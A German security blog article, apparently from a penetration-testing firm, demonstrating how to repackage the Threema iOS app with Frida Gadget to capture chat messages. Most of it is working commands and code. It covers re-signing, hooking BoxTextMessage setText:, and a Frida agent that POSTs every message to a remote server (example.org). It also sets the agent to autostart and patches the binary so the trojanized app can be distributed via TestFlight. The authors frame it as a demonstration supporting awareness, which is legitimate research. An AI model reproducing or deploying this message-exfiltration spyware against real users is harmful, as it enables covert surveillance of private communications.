Mobile Security Testing
Sichere Mobile Applikationen und Kommunikation, wir bringen Antworten.
Threema Nachrichten im Klartext
DISCLAIMER: Dies ist keine Schwachstelle in Threema. Damit die Exfiltration von Nachrichten funktioniert, ist physischer Zugriff auf das Gerät und die Kenntnis des Passcodes erforderlich oder das Opfer muss die manipulierte App manuell installieren.
Dieser Artikel ist in die folgenden Zwischenschritte unterteilt:
Der erste Schritt kann übersprungen werden, wenn ein Gerät mit Jailbreak verwendet wird. Dieser Artikel setzt Grundkenntnisse in iOS Mobile Application Testing und dem Tool Frida voraus.
Wenn wir ein Gerät ohne Jailbreak verwenden wollen, was alle neueren Geräte und iOS-Versionen einschliesst, müssen wir das Frida Gadget in die App einfügen, um die dynamischen Instrumentierungsfunktionen von Frida nutzen zu können. Das Tool objection bietet dazu einen vollautomatischen Befehl zur Ausführung aller erforderlichen Schritte, aber wir zeigen hier den manuellen Weg, um die volle Kontrolle über alle in der App vorgenommenen Änderungen zu haben.
Alle Apps auf iOS enthalten eine Code-Signatur, die sicherstellt, dass keine Änderungen vorgenommen wurden. Da wir einige der Binärdateien in der App ändern wollen, müssen wir diese Code-Signatur neu generieren. Die dafür benötigten Zertifikate und Schlüssel werden als Provisioning Profile bezeichnet und können mit einem gültigen Developer-Account bei Apple angefordert werden. Um ein gültiges Provisioning Profile zu erhalten, erstellen wir ein leeres Xcode-iOS-App-Projekt und installieren es auf dem Zielgerät. Xcode registriert das Gerät automatisch und generiert ein Provisioning Profile, das wir später zur erneuten Unterzeichnung der gepatchten App verwenden können. Wir benötigen ausserdem die IPA von Threema und die neueste Version des Frida Gadget für iOS. Dann können wir die folgenden Befehle ausführen, um das Frida Gadget in das App-Paket zu kopieren und eine Load-Instruktion in das Hauptprogramm einzufügen:
> unzip Threema.ipa && cd Payload/Threema.app > cp <location of frida gadget> Frameworks/FridaGadget.dylib > insert_dylib —strip-codesig —inplace Frameworks/FridaGadget.dylib Threema > cd ../../ && zip -r Threema_frida_gadget.ipa Payload
Um die Codesignatur neu zu generieren gibt es verschiedene Tools, bei uns hat sich ios-app-signer als zuverlässig erwiesen. Bei Threema hatten wir jedoch das Problem, dass die App auch nach dem Signieren während dem Start abgestürzt ist und die folgende Fehlermeldung und Backtrace ausgegeben hat:
Die Fehlermeldung und der Backtrace zeigen, dass der Fehler nicht mit Frida zusammenhängt, sondern mit application group identifiers und dem Code-Singing-Prozess. Die application group identifiers sind Teil der entitlements einer App, bei denen es sich um Berechtigungen handelt, die an das Provisioning Profile gebunden sind und von Apple validiert werden.
Entitlements der originalen Threema-App:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>application-identifier</key> <string>xxxxxxxx.ch.threema.iapp</string> <key>aps-environment</key> <string>production</string> [ … ] <key>com.apple.developer.team-identifier</key> <string>xxxxxxxx</string> <key>com.apple.developer.usernotifications.communication</key> <true/> <key>com.apple.security.application-groups</key> <array> <string>group.ch.threema</string> </array> <key>keychain-access-groups</key> <array> <string>xxxxxxxx.ch.threema.iapp</string> </array> </dict> </plist>
Entitlements bei der von uns signierten, manipulierten App:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>application-identifier</key> <string>HB5LB87MX5.ch.scip.threema.Threema</string> <key>com.apple.developer.team-identifier</key> <string>HB5LB87MX5</string> <key>get-task-allow</key> <true/> <key>keychain-access-groups</key> <array> <string>HB5LB87MX5.*</string> </array> </dict> </plist>
Es ist ersichtlich, dass Threema Zugriff auf die Application Group group.ch.threema
hat und unsere gepatchte App nicht, was der Grund für die beobachtete Fehlermeldung sein könnte. Wir können eine App-Gruppe zu unseren Entitlements in Xcode im Abschnitt Singing & Capabilities hinzufügen. Da Apple uns daran hindert, dieselbe wie in der ursprünglichen Threema-App zu wählen, müssen wir eine andere verwenden, z. B. group.scip.threema
. Da unsere App nun Zugriff auf einen Application Group Container hat, müssen wir ihr mitteilen, dass sie group.scip.threema
anstelle von group.ch.threema
verwenden soll. Eine Suche im Projekt nach der alten Zeichenkette für die Anwendungsgruppe zeigt, dass sie in der Datei Info.plist
gespeichert ist, wo sie geändert werden kann. Nach der erneuten Code-Signierung des Pakets wird es korrekt gestartet und wir können eine vorhandene Threema-ID aus der ursprünglichen App übertragen.
Um nach interessanten Funktionen zu suchen, verwenden wir das Tool objection. Wir beginnen mit einer Suche nach allen Klassen, die die Zeichenfolge message enthalten, und verwenden dazu den Befehl ios hooking search classes message
, was zu 1600 Klassen führt. Um die Resultate etwas einzuschränken, versuchen wir nach TextMessage
zu suchen, und erhalten 26 Ergebnisse.
ch.scip.threema.Threema on (iPhone: 16.7.10) [usb] # ios hooking search classes TextMessage [ … ] BoxTextMessage GroupTextMessage TextMessageEntity TextMessageEntity_TextMessage_ NSKVONotifying_TextMessageEntity_TextMessage_ Threema.ChatViewTextMessageTableViewCellFound 26 classes
Um die vielversprechenden Klassen etwas genauer zu untersuchen, kann der Befehl ios hooking list class_methods
verwendet werden. Bei der Klasse BoxTextMessage
finden wir vielversprechende Funktionen:
ch.scip.threema.Threema on (iPhone: 16.7.10) [usb] # ios hooking list class_methods BoxTextMessage + supportsSecureCoding - type - body - flagShouldPush - isContentValid - allowSendingProfile - supportsForwardSecurity - minimumRequiredForwardSecurityVersion - quotedBody - initWithCoder: - encodeWithCoder: - text - setText: - quotedMessageId - setQuotedMessageId: - .cxx_destructMit objection können wir auch gleich die Ausführung dieser Funktion abfangen und die Parameter auswerten. Dabei können wir gesendete und empfangene Nachrichten sehen:Found 16 methods
ch.scip.threema.Threema on (iPhone: 16.7.10) [usb] # ios hooking watch method "-[BoxTextMessage setText:]" —dump-args (agent) Found selector at 0×102aacbbc as -[BoxTextMessage setText:] (agent) Registering job 750798. Type: watch-method for: -[BoxTextMessage setText:] ch.scip.threema.Threema on (iPhone: 16.7.10) [usb] # (agent) [750798] Called: -[BoxTextMessage setText:] 1 arguments(Kind: instance) (Super: AbstractMessage) (agent) [750798] Argument dump: [BoxTextMessage setText: Hello World!] (agent) [750798] Called: -[BoxTextMessage setText:] 1 arguments(Kind: instance) (Super: AbstractMessage) (agent) [750798] Argument dump: [BoxTextMessage setText: Hi]
Jetzt wollen wir diesen Prozess mit einem Frida-Agenten automatisieren. Dazu generieren wir einen neuen Boilerplate-Agenten mit Frida-create -t agent
. In der Datei agent/index.ts
können wir den Standardcode entfernen und der Funktion BoxTextMessage setText
einen Interceptor hinzufügen, der den Parameter protokolliert. Dabei muss das Script den Text aus dem dritten Element im args
-Array laden, da beim Aufruf einer Klassenmethode in Objective-C das erste Argument einen Pointer auf die Klasseninstanz und das zweite Argument den Methodenselektor (einen Zeiger auf eine Zeichenfolge, die die Methode identifiziert) enthält. Da der Parameter nicht die Zeichenfolge selbst, sondern ein Pointer auf einen String ist, erstellt das Skript aus dem Pointer ein ObjC-Objekt.
import { log } from "./logger.js";const { BoxTextMessage } = ObjC.classes;
Interceptor.attach(BoxTextMessage['- setText:'].implementation, { onEnter: function (args) { text = new ObjC.Object(args[2]); log(`[ ${(new Date()).toISOString()} ]: ${text.toString()}`); } });
Die folgenden zwei Befehle werden verwendet, um den Agenten zu erstellen und ihn in der App einzufügen, die derzeit auf einem verbundenen Gerät im Vordergrund ist:
> npm run build > Frida -UF -l _agent.js [ … ] . . . . Connected to iPhone (id=3c8efcd76b83ba4576e453f7718a8e2a00ae661b) [ 2025-03-19T09:12:02.979Z ]: Test Message [ 2025-03-19T09:12:21.330Z ]: Test Answer
Für einen möglichen Angreifer wäre es nützlich, wenn das Skript die Nachrichten an einen Webserver senden würde, damit das Gerät nicht ständig mit einem Computer verbunden sein muss. Wir passen diesen Code von github an unsere Bedürfnisse an und senden den Nachrichtentext im Body eines Post-Requests an einen Server unserer Wahl. Der Server kann dann ein einfaches PHP-Skript hosten, das die Nachrichten in einer Textdatei protokolliert oder anderweitig verarbeitet.
import { log } from "./logger.js";const { BoxTextMessage, NSString, NSMutableURLRequest, NSURL, NSURLConnection } = ObjC.classes;
// https://github.com/Frida/Frida/issues/1158
const sendTextToRemote = (text: any) => { var str = NSString['alloc']()['initWithString:'](`log_line=${text}`) ; var postData = str.dataUsingEncoding_(4); var len = str.length; var strLength = NSString['stringWithFormat:']('%d', len); var request = NSMutableURLRequest['alloc']()['init'](); var url = NSURL.URLWithString_('https://www.example.org/threema_log.php'); var method = NSString['alloc']()['initWithString:']('POST'); var httpF = NSString['alloc']()['initWithString:']('Content-Length'); var httpL = NSString['alloc']()['initWithString:']('Content-Type'); request.setURL_(url); request.setHTTPMethod_(method); request.setValue_forHTTPHeaderField_(strLength,httpF); request.setValue_forHTTPHeaderField_("application/x-www-form-urlencoded", httpL); request.setHTTPBody_(postData); var nil = ObjC.Object(ptr("0×0")); var d = NSURLConnection['sendSynchronousRequest:returningResponse:error:'](request,nil,nil); };
Interceptor.attach(BoxTextMessage['- setText:'].implementation, { onEnter: function (args) { const text = new ObjC.Object(args[2]); log(`[ ${(new Date()).toISOString()} ]: ${text.toString()}`); sendTextToRemote(text) } });
Bis jetzt musste das Frida-Skript bei jedem App-Start jeweils manuell gestartet werden, wir wollen aber dass dies automatisch passiert. Frida Gadget kann dies mit seinem Skriptmodus für uns erledigen. Wir kopieren die Datei _agent.js
in das Verzeichnis Payload/Threema.app/Frameworks
und erstellen die Datei FridaGadget.config an derselben Stelle. Der folgende JSON-Code in der Konfigurationsdatei weist Frida an, unseren Agenten beim Start auszuführen:
{ "interaction": { "type": "script", "path": "_agent.js" } }
Es gibt dabei eine Einschränkung: Bei einem Gerät ohne Jailbreak muss beim Starten der App ein Debugger angeschlossen werden. Wenn Frida eine Funktion einbindet, ändert sie den Code dieser Funktion im Maschinencode. In diesem Fall ist die Codesignatur nicht mehr gültig und iOS stoppt die Ausführung der App. Wenn ein Debugger während des Starts der App angehängt wird, wird diese Einschränkung gelockert und die Code-Signatur wird während der Laufzeit der App nicht überprüft (der Debugger kann getrennt werden, sobald die App gestartet wurde). Eine Lösung für dieses Problem besteht darin, das Programm im Voraus zu patchen. Wir ändern die Funktionen, die wir abfangen möchten, so, dass der erste Befehl der Funktion ein Jump zu Frida ist. Wenn Frida angehängt ist, kann dort der JavaScript-Agent ausgeführt werden und dann zur normalen Funktionsausführung zurück gesprungen werden. Dies manuell zu tun, wäre mühsam, aber in Frida ist ein Tool namens gum-graft enthalten, das diese Aufgaben automatisiert.
Wir wissen bereits, welche Funktionsaufrufe wir abfangen wollen (BoxTextMessage setText:
), sodass wir nur diese eine Stelle im Code patchen müssen. Um die Adresse der Funktion zu erhalten, kann der Befehl dyld_info
verwendet werden, welcher die Tabelle LC_FUNCTION_STARTS
in der Binärdatei liest. gum-graft kann dann die Binärdatei an dem gefundenen Funktions-Offset 0×18bbc patchen:
> xcrun dyld_info -function_starts Frameworks/ThreemaFramework.framework/ThreemaFramework | grep "BoxTextMessage setText" 0×00018BBC -[BoxTextMessage setText:] > gum-graft Frameworks/ThreemaFramework.framework/ThreemaFramework —instrument=0×18bbc
In unserem Fall hat dies die Binärdatei irgendwie beschädigt, so dass sie nicht mehr ausgeführt werden konnte und der Befehl xcrun dyld_info
die Fehlermeldung dyld_info: 'ThreemaFramework_broken' chained fixups, seg_count does not match number of segments
zurückgab. Wir sind uns nicht sicher, ob dies daran liegt, dass die Binärdatei mit speziellen Compiler- und Linker-Flags erstellt wurde, oder ob es sich um einen Fehler in Fridas Gum-Graft-Tool handelt. Bei der Untersuchung der Binärdatei ThreemaFramework
mit verschiedenen Command Line Tools und Ghidra haben wir einige Beobachtungen gemacht und eine Lösung gefunden: gum-graft fügt der Binärdatei zwei Segmente hinzu: __FRIDA_TEXT0
und __FRIDA_DATA0
und ändert die Funktion bei Offset 0x18bbc
, die sich in der Sektion __TEXT,__text
befindet. Mit diesen Informationen und dem Tool LIEF.re mit Python-Bindings ist es möglich, die geänderten Teile aus dem gepatchten in das ursprüngliche Binärprogramm zu kopieren.
>>> import lief >>> original_binary = lief.parse("ThreemaFramework") >>> patched_binary = lief.parse("ThreemaFramework_patched") >>> print(patched_binary.segments[3]) Command: SEGMENT_64 Offset: 0×1138 Size: 0×98name=__FRIDA_TEXT0, vaddr=0×804000, vsize=0×4000 offset=0×7e4000, size=16384, max protection=5, init protection=5 flags=0 >>> print(patched_binary.segments[4]) Command: SEGMENT_64 Offset: 0×11d0 Size: 0×98name=__FRIDA_DATA0, vaddr=0×808000, vsize=0×4000 offset=0×7e8000, size=16384, max protection=3, init protection=3 flags=0 >>> original_binary.add(patched_binary.segments[3]) <lief._lief.MachO.SegmentCommand object at 0×10e48a1d0> >>> original_binary.add(patched_binary.segments[4]) <lief._lief.MachO.SegmentCommand object at 0×10e48a290> >>> original_binary.get_section("__text").content = patched_binary.get_section("__text").content >>> original_binary.write("ThreemaFramework")
Bevor wir die gepatchte Binärdatei ausführen, müssen wir Frida noch mitteilen, dass nur gepatchte Funktionen instrumentiert werden können. Dies können wir in der Datei FirdaGadget.config tun, indem wir die Option "code_signing": "required"
hinzufügen. Mit diesen Änderungen kann die App vom Computer und Debugger getrennt werden und startet einwandfrei. Dies bedeutet auch, dass es einfacher ist, die App an andere Personen zu verteilen, z. B. über Testflight oder alternative App-Stores.
Wir haben gezeigt, dass es möglich ist, Nachrichten aus Chat-Apps wie Threema mithilfe dynamischer Instrumentierungswerkzeuge zu exfiltrieren. Wir haben die Methode weiter verfeinert, indem wir die Nachrichten an einen Webserver senden und die Instrumentierung automatisch starten. Durch das Patchen der Binärdatei haben wir eine Version von Threema erstellt, die über Apple TestFlight oder andere alternative App-Stores verteilt werden kann. In Kombination mit einem Social-Engineering-Angriff ist es plausibel, dass dies zum Ausspionieren eines Opfers verwendet werden kann, und es zeigt, wie wichtig es ist, Software nur von vertrauenswürdigen Quellen zu installieren, selbst auf geschlossenen Systemen wie iOS.
Unsere Spezialisten kontaktieren Sie gern!
Sichere Mobile Applikationen und Kommunikation, wir bringen Antworten.
Ian Boschung
Ian Boschung
Unsere Spezialisten kontaktieren Sie gern!